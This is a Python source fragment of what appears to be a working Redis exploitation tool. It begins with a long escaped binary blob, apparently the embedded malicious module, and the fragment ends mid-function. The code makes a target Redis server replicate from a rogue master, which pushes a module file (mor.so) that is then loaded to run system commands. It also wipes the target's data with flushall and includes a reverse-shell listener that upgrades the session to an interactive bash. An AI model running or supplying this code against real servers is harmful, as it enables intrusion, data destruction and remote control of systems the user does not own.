\xd6\xa0\xd2\xb12\xaf\xc0[\xef@\xf51\x92\x97\x85\xe7\xb5\xd2N\xe5\xdf\x0c\x97\xd7:\xc2+(4Hm\'B9\xbcTOA:\xed\x07\x14@I\x18\x07q\xb0\x1a\xac&w\'7E^/\xc7\xed\xb4\x06Fw\xa7\xac\xa2m\xf6\x02l\x0bY\xea4"Y\xcf\x9bM\xd7\xeeT\xb2:\\R\xb3j\x08>\xc8\rQW\x13\xa1fn\xd5\x9c\xee\xd4\xd7\xb7r!\xf2\xd8\x8cI\x80\x11\xb1?\x8e\x05:O}\x8a\x886r\xd1u\x90\xb6c\x10\x0bu(\xc5X\xfcd2\x8e\x1f\xef\xce\x1a;\xd1J\x14\xdaq\xd5\xaf:L\x8d\xeaA\x1c\xca\x07\xbb\xb7Q\x95\x03\xb1\xe1\x14c!m\xed\xef\xe1`\x97M\x0b\xcb\x02g\xdb_\xc3F0\x82\x96\x86\x85\x95M\xc6\x17\x83\xf1\xfdM\x0bz\xa0N\xf2b\x04\x17\x12\'d\x92\xcbv(E\xc2(\xf2\xe3\xbc\x07|\x91p\x01\xb9l\x84\xdbW\xc28\xfe\xf3\xf8-=\xe8\xcf\xf1yJ\xecf\xb8N~\x14zHb\x1f\x15\xe9\xc9\x8f\xe1u_r\xddco4\xbe%\xc1WH)vsOE\xe9y7\xdeOz^\x89\xef{z\xde\x07\x8c\xe6\x9e\x95`yT\xcf\x1dQ\xf8:h">\xc6\xf4\xac\x04\xab\xad\xbd\xf2H\xc8\x11\x8b\xd2\xfb\xcbxr6w\x85\xa1(\xa9\x17\xbe\x08\xb1\x04\xc12[\xf2\xc3\xa3Ac\x1c\xeeV\x92\xfc\x08*W\xe2\xf0KM\xf2\xa3H6i\xef\r\nzRC\x13\x153\x86\xe9\xb5\xf5\xc1\xb7\x95\x16\x8c\x88\x1ae\xeb[\x85\xf2\xf7A\xfe\xb6~\x05d\xc3\x17\xf3\xf3\xd0\xdalW|\x07\x97}l\xb6\xb7w\x03\xb1\xeft\xc8\xd6\xf6.\xb9\xc4\xf5\x7f\xb6\xd6\x07\xf1\xb2\x1a\x19\x8f<\x83R\t\xff\xc4\x81\x80e\x94\xac$\xa0\xf83,\x1d\xab$`\x96\xaf\xb2\xb4Y\xb1\xcc\xc6\x986\xb6\xc3G1\xf7\\(\xa5\xed=\x1f\xc9=\x16\x99l\xdfB\xb3\xb5}\x8a\xa0\xad\x01\x04m\x9f\xe1\xa5\xe5\xf1\x18\x94\xf9j|/\x90\x99\x82\xe4\x13Z\x89\xdfG\xfaI,\x88)\xeeb\xa4\x7f=\x1b\xae\xa3\xe26\xa1\x96o\x91\xdd\xa2$\xe0\xa8?\xab\x177(c\x05\x80\xa6\x8b\xb06\xc5P\xc6\xea\xee\xdf\x03_\xbf\xf2@=0`\xab4m\xaf\xee\x7f\x1a\xa3\xec\\4\x9f\xa4\x96\xf4\xffk\x1c\x136m_\xacd\\\x05>1e\x92;\xa7\x10\xde]\xdd\xbd\xa87\xd3\x95\x89\xba\xcc\xdb\x9b\xd6h\xca2\xe7\x93d\xe3\x1aM\x1b\x117o\xdf\xbdf\xc0\xc3T\xc7\xb7\xd4\x9e\xcc\x9b\xa0\xd2L\x83^"\xf8\xbe5\x03\xddu\x8ai\xf0\xe3$\xef\xbc\xcc;1\xeb,-U\x94\xf9\x11x\xc24D\xd3\xb4g\xcd@\xbfb:OK<\x0e\t\xa7b\x1a\x86s\xcfL\xdb\x8b\x07\x9dA\xb1l\xed[\x83\xa2dt\xa0\\\x02&\xc5\xb8\xec\xea\xeeu}X\x01\x12\xb4\x02\xec\xa2\x05H\xd0\n\xb0\x8d\x16 A\xcb\xe9\xba5\x03\xc6R\x1d\xc3\xd5\xd0\x02$i\x05h\\\x93\xf9\x1a\xb6\xfcd-\xd9\xb4f`ym\x85b\xb2=\xce\x8aW\t\xc5K\xc1L\xa1x\x03\xcb\x82\x95\x8a)\x95\x15o)|]\xd1R\xa4x>W@1\xf5^L\xea\xa4xp\xa9\r_Wa\xed\x8e\xeeC\xc73e\xc0nj\xca"\xea\xcb\xc1\xe5$\xfe0\xaa\xb8\x1c\xb9\xf0B`e;ueu*\xd48\xf0\x13c\xc1\xf7\xacCz\xe0\x93l\ty\x1d\xc8^>oJb\x0e;\x0f\x9d\x05\xa8\xd6t\x16\x0c\x9d\x95L\x98Q\x07\xd8y\xde\n\x97\x8f\xc9\x9a\xb6\xcf\x1czg\x17\xa53Y4l\x06\x0e\xa0\xf3\xc8+Hhv\xe4\x01m`Rj\xbc9\xa9gR\x175%\xd6\xd6\r\x9b\x8a\x12\x1f?\x01H\xe0\x86t\xc5\x9cta\xfc\xb8\xf8i\xf0\x10\x17E\xe9\xa0!:Y\xc1W91xB(v\x90\x82\'K\xaajN\x8a\x8fG\x01\x15\x9f\xfa\x12\xb94~\xc7\xb3\xd2d\xb4\x96\x8cg\xba\xa1w\xab\xea\xb4T\x94H\xec\x07zF\x00%)\x15\xc0\x8b`HM\x1e\xc3\x85&vG\x82m\x0cW\xaa\x11\xba\xe0\xed>\xa5\xab:\xb8\xbb\xa6#5\x9a\xd8\x92\x86\x14Lw\xc5\x99\x16\xe9\xa1R&\xb8\tt#7\xbeP\xe5H\xed\xdeUA50\xa8FAI&\xc4c\xe9Xizf\x01s/\xb0\xad\x17\xb9\x80\x16\xdd\x9b\\\xc0\xe8\xdb\xa7\x9b\xdaY\xea\xbe\x89!>\xcb\xc8V\'v\xd7\x92\xa8\x18]\x9cg\xbfi\x121\xac_\xb4b\xb6h\x8c\x98w\xffh.\x87\xc9\x01\xf1*rC\xeb\x1e\x13F\x1f8&LjPg\x06\xd3R\xd1\x1d\x83\xc3s\xbc\x88d\x95%\x12\xa1\x8de\xabZ\xd9\xc3\xecR\x94\xf3\xa8U\xd1\x9a\xfe\xa1\xd1\xdcE\x98\x1c6&,\xa9t\xc5F\xa7\xfc\x01\x9f\xdd\xd43I\x89\xf8\xad\x15;%\xa6\xb3\xb3\x95\x11A\xbfo\x84\xdbS^\x13\xacp\x8d\xa8\xcf\x1d\xeb\x18;fx\x8d\xdb\x13\xac\x1f^\xe5\t\x8e(s\x07\xfc\x1aK\x8d\xbblDUy\xb9\x9e\xe5\x02&\xfd\x0bT\x8d\x08\xac\xacs\xf9\xc3\x18\xc3\xa5<\xae\x00\x06\xa2S\x14\x1fN\xe3\xad%\xd3x\xb3\xab\xd1VW}]6n\xfc\xa7\x10\x15@\x83>\xe8\x0fTT\xb8*\xe1\xdaL\xae\xdd\x9e\xc0p8<\x1cDB\xb0\x93\x02Ep{\xb5\xcb)\xd3f\x16\xc2U\x94\xc6\x86Dh"\xfe\x95~\x87\xcb\xe7\xabq\xfb\x03\x1aW\xd0\x03\x97\x15\x1aX\xe5\nx\xeb\x02\x0e\\\x94B\xf5\xbb\xab<\xce\x1a*\xe9-_\x86\xb1\xf3(BB\xe7i\xd7n\xcc\x1b\xda\xe1EeAw\r\x9aG68\xd38\x1cX\x14\x8d\r:\xa2\x89\x8d"\xe67M\xaae\xe1\x9f\xde\xb5<\xfd\xff\xe3?s\x86e?|/Vc>\x83\xbf&KeL\xd0\xb2}a\x94\xc9\xbc\xeb\xaal\xcbEG\x1b\xd7\x9a\x06\xa6Y\xaa\xbf\xf9f\x84)3\xd5\xf2\xeeL\xcb\x10\xcb\xcd\xa6\xe1\xa9\x96\xed\xcf,\xb44Z\xb2\x8f6\x9a\x06\xa6\xc2\xff\xf6*\xcbxK\x9a\xa5\xca\xb2\xf0\xe8\xd1\xcf-\x8b\x16Z\x16YF\x98\xfa\xa76\x9a\xf2\xd2\x82x,4\x99\xa0\x1b\x9cs\xdd\xd1/\x99\xc7\x1fy\x01Z\x01\xdc\x06\xfc\xeeU.G@\xf1;\x1d\x95\xceZ\xb74\x14\xb4\xb8\xc6+B\xb8\xeb_\x10\x18\\\xb6X2\xe2\xea\x0c\xf9\xe2,\xc7\xb49\x8eQ\x8e\x91\x0e\xe8\x02\xd0+\x1cF\xeb\xe4\xfcn\x0f+\x18^\x92\x10\x92\x86\xab%P\xa7\xdf\xb9\xc2EBB\xba=c\x91\xdbQ\xe3\xf5\xd6\x959\xcb\x97\xe9\x0cf+\x99J\xe6\x14\xccp\xcc\xcd\xbfDq`\x17\x85\x8e\x87]4\xc2R-\xcc\xe5\n\x9f;\xe0r\x9491\x00f\rt7eD\xb5\xb7\x16\x06\x98\x9c\xb2\x9c\x8a\x95#\xca\x03\x95#\xae\xc0?d\x9c\x19\x11\xa2\xca_2y\xc6\x08W\xbd\x13W\xe7v\x9aK\xf4D\\\xef)_\xb0\xe5(\xafv\xba=\x8a7\x18\xa8\x0b\x86Y\x8c+\x9fp\x19\xca\x94\xa0\xa7\x1c\xb8\x82>\x18Yj\x82\xb5\x1e2\x08y\xc0\xdf\x8a\xc3\x81CW\xae#LL\xbf"G\xach\xb6d\xdaWQ\x06\xe5vV\xc8\xdb\x15Y\xdf\xeb\x80ZX\xe1\xf6y\xc3\x97@\xca\x97\x1bI\xd6\xff\x92Z\x99\\PP|\xee\xe5\xbb\x11\x02\xdd\x9fc!\x98A\xd0_\xb6z\x11+\xa8\xd6\xe9[\x06\xcfSSg\x97f\x14\xfc\xe67\xda\xc4\xc2\x8c\xe1\xb5\x81\xa0\xc75\xbe\xca\x05\xbet\x97C\xd2\xe9+\xaf\x1e\x0f7\xa5\xe1c\xc7d\x0c\xaf\xca\x18\x0e\xadz<\xdc\x96@`xe\xf1\xb4\x02\xf8K\xa2\xa4\x0e\xaf\xf3y\x03\xae\xf2\x80\xd7\x07\x1c>]\xd4\xfc\x88Q\xd3\xb1\x10\xd0)J\xfd\xce*Z\xaf`\x1d\xdei\x94\n\xb2JI\xee\xd0\xb0\x85\xe0\xc4\xa7%\x85\x17\x17\xe7\x17\xcc(\x9c\x17&\x10\xb2 =H\x17\xc0e@\xeb\xd2w6qUQAm\x05\xb1F?jIW\xcc\xeb\x97\xd7\xcb\xd6I\xcb\x97\x9a\xb2eI\xac\xe0\x8e\xba\x9a\xa0\xb8\xdeK\xb6\xd4\xc7p\xb9\x9f~\x1d\xa1\xc3\x11r\xf3\x94W\x8e~\xc5\xf5/\xd8\xed@\xbe0W\xb6\xa2K\xb6\xee\xdcp}\x9b\xc1\n\xb4\xf05\xf1\xe8.\x1c\xa3\xa0\xafk\xbd~\xe4X\x87dq\x1a\xd6+{\xd2p\xb8=b\xd3\x9b\xeb"c\x1e\xa9k\x1c\x89\xeb\xbc\xe1\xcb\xbb`\xd0\xc7\x8cp\xd9\x93\xa3\x0eZngD\xe1s.\x83\x0b_z\x0e\x9a\xfd\xda\xe3\xd59\x97\x86\xd1x\xc4!OV\xe1\x83\x85\x16=\x18\xad]\xe5\xf2y\xc5\x86h\xb4\xd8\xdeh\xf1.\x1d\n\xc2k |\xb5=\xbb\xe78=\xc2}X\x16\x8a \xc2zham1<\x1d:\xeb\xdc\x95\xe0\xfa:a\'\x05\xb6\xe0\x97\xde\x1a%\xf5*,\xd7\x83\xaf\xc2\x8e\x1aaY\xba|-\xb9\xf1b\xba\xf0%~\xf0\xdc\xea\x86Z\xd6\x9a\xd6\xd81\x0e\xdd\x8d(b_\xe9\xf4]\xc8\x03\x01\x94FqT\xe2R\xe2Q\x9d\x8d\x8a\xdc$k]\xb5\x8e \x8e\x80\xe7Z.\xec\x08z\x82~W\xc5\xa8_\xb8\xeeT\xba4\x96\xaf\x8dt\xfa\xaa\xc4\xcdv\xc2\x03R8\xbc5\x15\x0eoe%T\x1d2\xaf\x10]@\xeez\xa4\xe7\xb0\xc74]M\x89\xcbP5\x7f\x8e\x1e\xa5\xf5\xda\xb1\xa4zs\x95\x1a\x802\xc8\x1f\xb7\xc7h\xc4\xff\x17\xf6l\xa9\x90\xac\x12\x0e\r^\xd0\xf9\xa8\xe3\n\xef\xc8\xc6q:\xc2C\x16T\x12\xa7\xe2\xd3\x02>\xe8\x18-\xa9\xc6l\xca\x82\x95\xfa\xe7 \xd9*t\xd6\x02\xc3\x18;W\x99;\x1cu\xce\x8a\x91\xdai\x94v\x1a\xad\x9d\xc6h\xa7\xf3\xe19\x0f\x7f\xf4\xf9e\xeb\x8e\xa7\xd1\x0bi\x14\x17\xbe\xd2\x97\xdcXg\xcf\x99=i&\\\xfc\x82\x15\xc8Z\xe3\x86\x11\xc5\x0b_Qk\xfd\xe0)\x97C7\x84\x87-\xa9\x87\x91E\xff\xf0\x1b1\xfeL\xc4\xd5\xe6,\xbc\x82\xf6D0ona\xfe,\xd9\x8dE\xb6\x95\x85\xc1\xa2\xf3s\x85&0\x88\x951\xcd\xe3\xd6\x15\x1c7\x9f\xd2\xbe\x90\xeb\x1e\x7f\x02\xd5^\xe1\x16(\x0b\xd5\xa0=;N\x9d+\x14*<\xae\x02\x8c[\xf0_lY\x06.$_\xb3Bz\x1f\x7fF:G7\x94\xb8>b\x14\x16\xc9\x02g\x07\x0e,\x0e}.Z\xc4\x10\x18PHD|(\n>\xd6\xb3\x1b\xb8\xb2\x02nTn\xe1\xd9;4|\r\xe9r\xf0D\x1a\xac\xa3\xdfb\xfc\xd5pC\xc7~\x112\x0e\xc3\x17\x0b\x87\xcev\xecc\x1e\xf2=\x08\r\x13\x07|\x83p\x1eF\x81\x15\xb4\xee\xc1\x07\x00\x17\xb9\x91`[\x0fj\x95X0sN\xe1\x82\xc2\x02\xc5\x03\xdd/L!\x0bP@\xb8$\xcf\xb3$\xd8\x93\xf6\xddR!E#5\xe5X\x11pB\xc3eC\xb5h\xa1$\x94\x83\xd1\x9ay\xd9X!\x8f\xb3\x12ag*\xc3M\xb6t\xa1\x16X\x80!\xba!\x03\xfaH\xbb\xd7j_^\'\xcf\xea\xbcOj#u\xf8\x1e\x0c\xc2\xa0A\x9f\xad\xf1\x11\xce\x01\xcfZ\xda\xc0\xc2\xef2#\xc7\xca\xed7\x88\x90\x10\xb2\x08\xdeQ\xe9\x06\xeb\xbc!\xbb=\xe8\xdd\x13\x16\x14\x02Z-\xdc.\xa5\x8f\x1d\xf2\x9eK\xe2\x06T\x8a\x81\xbc\xf8\xb2}\xad\xa6\xc3:\xa7\xd6\x8cu\x0fMX\xa7\xf0L\x85?\x95w\xde\xe4\xc4\xa7+y \r\xf2\x9c\x81\x0f\x0c\xe2\xd7\x9e\xc8\xd1"\xce\x15[K\x88\xbc\xe3\xf4VB}\x12\xbb\xf4\xed4\xec^\xc2\xeam\xf4(\x9dS\x8cv*\xc1"h\xd6\xea\n\x11\x12\x87\x84>\xe5\x0b\x1d\\\x1f\xccE\x17\xd5\xea\x9c\x1f\xb3\xa2\xf2\xf5\x98\xe1t\x13_\x97\x19N7\xf3\xf5\x98\xe1\xf4(\xben3\x9c\x1e-]\x1fiVb\xf8\xba\xcapz,_\x8f\x19N\xb7(\r\x83e\xf48\xfeZ&\x9cnUv](\xa3\xc7+\x0b\xa6\xca\xe8\t\xd2\xf5\x95f\xdc9\xa2XF\xd7\xef\xb7\xab\xd1e;G ]\\\r\xcb\xe8]\x0c\xe8\xf2\x95\x91f\xb2\xeb\xb7\x8c\x9e\xa6\xa3a\xb5F)_w\x88tm_\x908\xdd\xeb,\xc5\x80\xdfNt\xe9\xfdC\xe6vH\xfc\x83/\xd7d\xfb5_\xa2\xc8\xf7\x11\xf6(\xf2}Z\xd7*\xf2}\xd8o\xa2\xf4=\x02\xfd1E\xbe\xffu\x8b"\xdf_\xf8+E\xbe\xdf\xbdE\x95\xef+\xdd\x87\xed+*\xd0\xc7\xa9\xf2}\xd5\x9d\xaa|_\xf8+(\xfd\xa4@\xdf\xa6\xca\xf7i}T\x95\xef\xbb\xfa2\xa5[\x04:\xae\x8d\x94\xed\xbb}J\x95\xef\xdb\x1bc\x92\xef\x17\xdc\x93\xd23\x04\xfa0\xb6O\xba@\x9f\xc2\xf6\x01\x17\xe8KL\xf2\xfd\xa6WSz\x9e@\xff=\xdb\x17[\xa0\xff\x89\xed\xb7.\xd0_5\xc9\xf7s?l\x92\xef\x7f\xfd\xb9I\xbeOw\x94Y\xbe?\xb2\xdd,\xdf\xff}\xacY\xbe\x0f\xf5\x0cJo\x10\xe8\xb8\xf3\x8b\xacW_\xc5\xf6M\x16\xf8w\x18\xec\x93\xbe\x97\xd2w\x89\xed\xc1@\xffQ\xb3|\xdf\xf6\x1f(\xbdI\xa0\'F\xc9\xf5d\x18\xd0GE\xc9\xf7m\x9f\x15%\xdf\x9f\xba\x9c\xd2\x9b\x05\xfa\x86(\xf9\xfe\xe3M\x94\xde"\xd0\x9f\x89\x92\xef\xf3\xdb\x12%\xdf\x07\xfc\x84\x81\xfdf\xba\xefp\xbb\xc0\xdf\xdf`?\xe2\xdfD\xcb\xf7q\x9eO\xe9l2-\xa3\xd7F\xcb\xf7\x9b\xde\x1c-\xdf\xdf\xfc\x0eJ\xb7\x0b\xf4\xa7)=C\xa0\xb7D\xcb\xf7\xe9\xfe\x94\xf2g\t\xfc?Pz\x8e@O\x89\x91\xef\xa3=\x88\xed;/\xd0\'\xc4\xc8\xfdy\xb1\x01\xdd\xc5\xf6\x9b\x16\xf4\\m\xc0\xbf\x8b\xf2\x17\x0b\xfc\xf7\xb3}\x9f\x05\xfa\x01J_"\xd0\x8fPz\xb5@?\x19#\xdf\xb7:%V\xbe_\xf9(Jo\x10\xe8E\xb1\xf2}\xcf\xd9~\xe5\xe2\xbe\xed+)}\x97@\xbf\x81\xd2\x1b\x05:\xdb\xd7\xbeI\xa0\xe3Z{i\x7f7\xd8w\xfb,\xdb/^\xa0w\xb1h\xedG\x9c\xd0\xd4\x0f\'\x90\xa1\x7f\xe8\x84<\xf6\x19d\x91\xef?\x9eO\xe9\x87\x04\xfa\x02Jo\x11\xe8+(\xbdU\xa0\xdfh\x91\xef\x0b\x7f\xbfE^\xde\x03\xd4Nq\xfc\xff\xabE\xbe\xcf\xf8g\x94~R\xa0\x9b\xe9\xbe\xe4\xa7\x05z\x16\xa5\xb3\x15&\x8c>\x9d\xd2-\x02}\x11\xa5\xdb\x04z-\xa5\xdb\x05\xfauq\xf2\xfd\xdf\xef\x8a\x93\xefW~ N\xee\x877)\x7f\x8e\xc0\x7f\x92\xd2s\x05z\x0c\xdd\xdf<O\xa0\x0f\xa4\xf4"\x81>\xc1*\xdf\xd7\xbe\x84\xd2\x17\x08\xf4\xa5V\xf9\xbe\xed\xab)\xbdZ\xa0\xef\xa4\xf4:\x81\xfe\x90U^\xdef\xca_/\xf0\xb7Qz\x83@\xff\x81\xd27\nt\\e)\xd3\x7f\x1e\xddw~\x9b\xc0\x9fO\xe9\xbb\x04z)\xa57\n\xf4e\x94\xde$\xd0\xaf\x8e\x97\xef;\xff\x07J\xdf\'\xd0\xf7Rz\xb3@\x7f\x8b\xd2\x0f\t\xf4S\x06\xe5\x8aM\xa0\xfdQ\xe0\xef\x95 \xdf\xef~$\xa5\xb7\x89\xe5\xa5\xf4v\x81^G\xe9\'\x05\xfa\x06J?-\x96\x97\xd2\xd9\xda\x16F\x7f\x9c\xd2-\x02\xfdeJ\xb7\t\xf4vJ\xb7\x0b\xf4\x0eJ\xcf\x10\xe8]\x13i\xff\x12\xe8#)=G\xa0\x17Qz\xae@\xbf\x9c\xd2\xf3\x04z=\xa5\x17\t\xf4\xed\x94^,\xd0\xef\xa7\xf4\x05\x02\xfd\xaf\x89\xf2z\xfc\x88\xf2/\x11\xf8\x7f\xa0\xf4j\x81\xae\xff)W\xfb\xd1\xd71y\xe1\xec\xfcY\xd3\n\x14\xc7\xd4\x99s&\xe5\xcft\xcc\x992\xa5\xa4p\x9ec^\xfe\xa4\x99\x85\x8e\x7f\xed\xa7\x13\xf9O\xd2\xd2\xf0\x9a\x927\xd0\x11g\xafD\xdc\xf05\xe2\xdb\x81\x08o\x8c\xe5\xef\x9b"\xfeb\xff\xcbBc\xcbCI\x1b\xbe\x00?w\x1c`\x837\xcc\x927\x8b\xf2\x17\xbe\xb2@\xb2\xd2(\x9b\xba\xe8\xfc\xc6\xefd\x8cC\x95G\x8e\x99\x1d\xe1\x9d\xaf,p\xb2d:\x06\xdd~V\xf2\x93x\xe4\x97y\xe7\xfaE9\xf2o\xac\xd2\xb7\xc7\xbaw?\xdaO\xc3yy\xa1\x1b\xe0\x1a\xfc\xb0\'\x7faa\xb4e\x00{W$\xee\xf4\xdb\x99\xd5\x18Y\xb7\x13r\xd1\xdcDv\xff\r\xb7\x11\xf7\xfe5\xb6:\xc2\x8b\xa8H\x91\xa5#N\xc68\xf7;\x1aY\xccl\xe9\xc4\x0c\xfd\x8bgm[d\xe3\x02I^\xef\xff\x82I\x01\x117\x0e0xu\x111t\xb4A\x8ch\xe3\x10\xeb\xd2=\x0e\xe8\x0c\x0b\xbd\xa5\xe2\x94C\xc3\x19,\xb2\t]\xa1\xef\xa9\xc8^\xd3\xe1\xde\xd4\xf6\x896\xf6\xb0\xfe\xd5)}\x1ba,\xa2oF\xd2\xb8\xc8\xc6{M\x18\xec\xe7q\xee\xe9\x94\xe7\x8ax|\x8ewJ\x92*\x94\x86\x9f6\x9aPu\xae\xf0\xd8\xb2\xb7\xab\xda\xde\xe0\x91\xfd/\x8b\x12\xdf9\xd1+\xfc\xe5\x948\xb7 \xd2\x1e\x04\x06\x13\xf6~\xc1\x9b\x17\x83\xa9\x11\xa1\xef\xf2\xe86\xe7\xe1%\x0b\xddj<\\i\xc4\x18\xe6\x86\xb1\xcf\r\xe7b\x18\xb8\xdd`\xc2\xb0\xf8\x86\x90\xbe67\xcaI\xb2y\x85\xd1\x94c\xe1}%\xd9\x0f\xde\xb8\xb2#\x87\xfc\x96O{\xeb\x1c5\xa5\x932\r7\xac\x97\xeeI`\xb0\xa7\x06\x9b+\x18F\x93\xces\n\x9f\xac\x88\xbb\xd5G\x1e\xbc#Mr0\x8c\xdd\xae{\xe9\xafM]3\xce\xc9`\x0b\x01\xd9\xbe\x1a\xf2\x89Z\xc6\xfbr\xc8\xb7\x960\xde6\xe6\x1cA\xd7\xc3j\x93\xdc!a\x94\xf7\xc0 \x19\xe1\xa6.\x9bC.\rY\xffK6\xd2\x880\x9d\xdd8\xf4\xbbn\x12\xa2\xe1\xd6\x0f\xd2\x17\xd2\xe7\xd8\xb0(\xc2v\x11\xfa\xc7\xfeH\xf3\x97\rf\xcdD\xd83E\xba\xa3\x88\xe1D\x03\xc3\xadj\xa4+\x16\xb4\xb9\xb1\xc6\xf5j\xbc\xc1\x13\x99\xd0\xaed\xfbW\xd6\x06\x9cep\x0e\xf8\xb4s5\xbb\xaa\xf2\x04\xb3\xab\xe1\xa9K\xc9\xaeX\xe9\x016\xed\x0c\x8f\xdc\x04a\xb3YB\x13\x0e\xc0|\xae\x1agv]M@\xc9\xc6\xdb=\xa4\xbd\xe4\xf9<\xdbU\xed\xa8\xf4\xe1\x94\x11\xd4\xe2\xacu\x97\x83\xa47\xa0q\xc2p\xaed\x97Cw\xc7v\x94]\xe1*\x0bV9\x9c>,\x9f\x9f%\xdd\x9eJ/\x87\xca\xca\xb0\xab\xd0\x14\x0cg.v\x8d\xd6\xfd\x1b>}\x15-\x061\x8b\xff\xcb\xde\x8b\xb33Y1\xadt\xc6\x19\xe6\xef\x8d\xe8\x19\x17\xa8~\xdf\xd1\xe1e\xf2\xec\xfd9;\xf72\x90g\x1f|\x1d\x1e\x1f\x92?{\xcf\xce\xce{\x12;\xf3SC\xe4Y\xfc\xe3\xe1T7\x93g\xef\xe3\xd9\x99\xc5Mf\x1f\xf1\xb5\xff\xf9\x8a\x16\xe3\x98\xc9\xb3\xf7\xf6\xec\x9c\xa9\x86\xdbo\x12\xce\xb8|\xf2\xe7\x10y\xf6~\x9f\x9ds\x14\xb9\xfd\xecs1\xc5&\xd14\x9b\x07\xc0\xce\xd5!\xf9\'*\xfa\xf2\xcf\xa7zY\xdch6_\x80\xcf\x1b\x10\nl\x13\xce\x97\x8a\xf2Y\xe1g1X\xb1\xe8?\'\xa5\xb1\xf2\xb3\xf9\x07\xec| !\x9c_,\xbf[\x90g\xf3\x14\xd8\xf9E\x81_\x94\xf7S\xdbY\xfd\xb0\xf7\xf5\x8d\xb3\xb5\xf4\x12j0k\xafL\x9e\x95\xff*\x9a\xbf\x18G[)\xd6N\xdb\x0c\xf2g\xe7\xf5\xf4\x9a\xc9\xb3\xdf\xe3\xb7Q\xf96\xaeXn\xfff\x9a\x7f\x8e@g\xf2C\x05\xba*\x9cw(\xfa:\xc1\xcf\xd3T^\xd4+\xf2\xdei \xff\x05\x95\xff\xaeO8]\xe4}\xc8@\xbe\xcd\xab\x9d\'\x9a\xc2\xe9"\xef3\x06\xf2}\xe9\xe8\xd6]\xf0\x9f\xc8{H\x91\xfb/7\xa8\x9d\xcf\x18\xb4\xdf\xd0\xb3`\xa2&\xbfQ;[hC\xc1\xc8#=\x14}\xff\xc3aJ0\x91|\xf2vigkR8]\xb4\xbf\x8b\x81\xfc\xf4{\xb4\xf3a\x81.\xca\xff/d*\x95\xef')
CRLF = "\r\n"
finish = False
commandStatus = False
messageList = {
"get":[],
"send":[]
}

class _Run(Thread):
def __init__(self,host:str):
Thread.__init__(self)
self.setDaemon(True)
host_list = host.split(":")
self.connectHost = (host_list[0],int(host_list[1]))
self.ths = [Thread(target=self.get),Thread(target=self.send)]

def run(self):
self.s = socket(AF_INET, SOCK_STREAM)
self.s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
self.s.connect(self.connectHost)
for each in self.ths:
each.setDaemon(True)
for each in self.ths:
each.start()
while not finish:
if len(messageList['get']) > 0 and commandStatus:
result = messageList['get'].pop(0).decode().split("\r\n")[2].strip()
if result:
print("\n" + "*"*10 +" < result > " + "*"*10 + f"\n{result}\n" + "*"*32)

def get(self):
global messageList
while not finish:
data = self.s.recv(65535)
if data and commandStatus:
messageList['get'].append(data)

def send(self):
global messageList
while not finish:
self.s.send(messageList['send'].pop(0)) if len(messageList['send']) > 0 else None

FD = None
OLD_SETTINGS = None
CONN_ONLINE = 1

def re_shell(port:int=4444,payload:bytes=b""):
from termios import tcgetattr, tcsetattr, TCSADRAIN
from os import system, _exit
from sys import stdin, stdout
import _thread as thread
from tty import setraw

def _get_byte(s, encoding="UTF-8"):
return bytes(s, encoding=encoding)

class _GetchUnix:
def __call__(self):
global FD, OLD_SETTINGS
FD = stdin.fileno()
OLD_SETTINGS = tcgetattr(FD)
try:
setraw(stdin.fileno())
ch = stdin.read(1)
finally:
tcsetattr(FD, TCSADRAIN, OLD_SETTINGS)
return ch

STDOUT = stdout.buffer
getch = _GetchUnix()

def _stdprint(message):
stdout.write(message)
stdout.flush()

def _close_socket(talk, exit_code=0):
global FD, OLD_SETTINGS, CONN_ONLINE
CONN_ONLINE = 0
talk.close()
try:
tcsetattr(FD, TCSADRAIN, OLD_SETTINGS)
except TypeError:
pass
system("reset")
_exit(exit_code)

def _recv_daemon(conn):
global CONN_ONLINE
while CONN_ONLINE:
try:
tmp = conn.recv(16)
if (tmp):
STDOUT.write(tmp)
stdout.flush()
else:
raise error
except error:
msg = "Connection close by socket.\n"
_stdprint(msg)
_close_socket(conn, 1)

def _main(port):
global messageList

conn = socket(AF_INET, SOCK_STREAM)
conn.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
conn.bind(('0.0.0.0', port))
conn.listen(1)
messageList["send"].append(payload)
try:
talk, addr = conn.accept()
_stdprint("Connect from %s.\n" % addr[0])
thread.start_new_thread(_recv_daemon, (talk,))
talk.send(_get_byte("""python -c 'import pty; pty.spawn("/bin/bash")'\n""", encoding='utf-8'))
talk.send(_get_byte("""clear\n""", encoding='utf-8'))
while CONN_ONLINE:
c = getch()
if c:
try:
talk.send(_get_byte(c, encoding='utf-8'))
except error:
break
except KeyboardInterrupt:
pass
# stdprint("Connection close by KeyboardInterrupt.\n")
finally:
_stdprint("Connection close...\n")
_close_socket(conn, 0)

_main(port = port)

def redis_shell(host: str, masterHost: str = "127.0.0.1:2020", authPass: str = "",expFileName: str = "mor.so", command="id", interactive: bool = False, reshell:dict={}):

global finish,commandStatus,messageList

def _redis_format(*redis_cmd):
if len(redis_cmd) == 0:
return ""

cmd = f"*{len(redis_cmd)}"
for line in redis_cmd:
cmd += f"{CRLF}${len(line)}{CRLF}{line}"
cmd += CRLF
return cmd

def _wait_for():
while len(messageList["send"]) > 0:
pass

def _RogueServer(ip, port):

flag = True

s = socket(AF_INET, SOCK_STREAM)
s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
s.bind((ip, port))
s.listen(10)
client, _ = s.accept()
while flag:
getData = client.recv(1024)
if b"PING" in getData:
client.send(b"+PING\r\n")
flag = True
elif b"REPLCONF" in getData:
client.send(b"+OK\r\n")
flag = True
elif b"PSYNC" in getData or b"SYNC" in getData:
client.send(b"+FULLRESYNC " + b"sycv5" * 8 + b" 1\r\n" + b"$" + str(
len(exp)).encode() + b"\r\n" + exp + b"\r\n")
flag = False

_Run(host = host).start()

payload = [
["auth", f'{authPass}'] if authPass else [],
["flushall"],
["slaveof", "no", "one"],
["slaveof", masterHost.split(":")[0], masterHost.split(":")[-1]],
["config", "set", "dbfilename", f'{expFileName}'],
]

print("--- Ready slave ---")
messageList["send"].append("".join(_redis_format(*line) for line in payload).encode())
_wait_for()

print("--- Build server ---")
masterHost_list = masterHost.split(":")
ip, port = masterHost_list[0], masterHost_list[1]
print(f"Listen on {ip}:{port}... ")
_RogueServer(ip=ip, port=int(port))

print("--- Load module ---")
payload = [
["auth", f'{authPass}'] if authPass else [],
["module", "load", f"./{expFileName}"]
]
messageList["send"].append("".join(_redis_format(*line) for line in payload).encode())
_wait_for()

commandStatus = True

if len(reshell) > 0:

command = reshell['command']
report = reshell['report']
payload = [
["auth", f'{authPass}'] if authPass else [],
["system.exec", f'{command}']
]
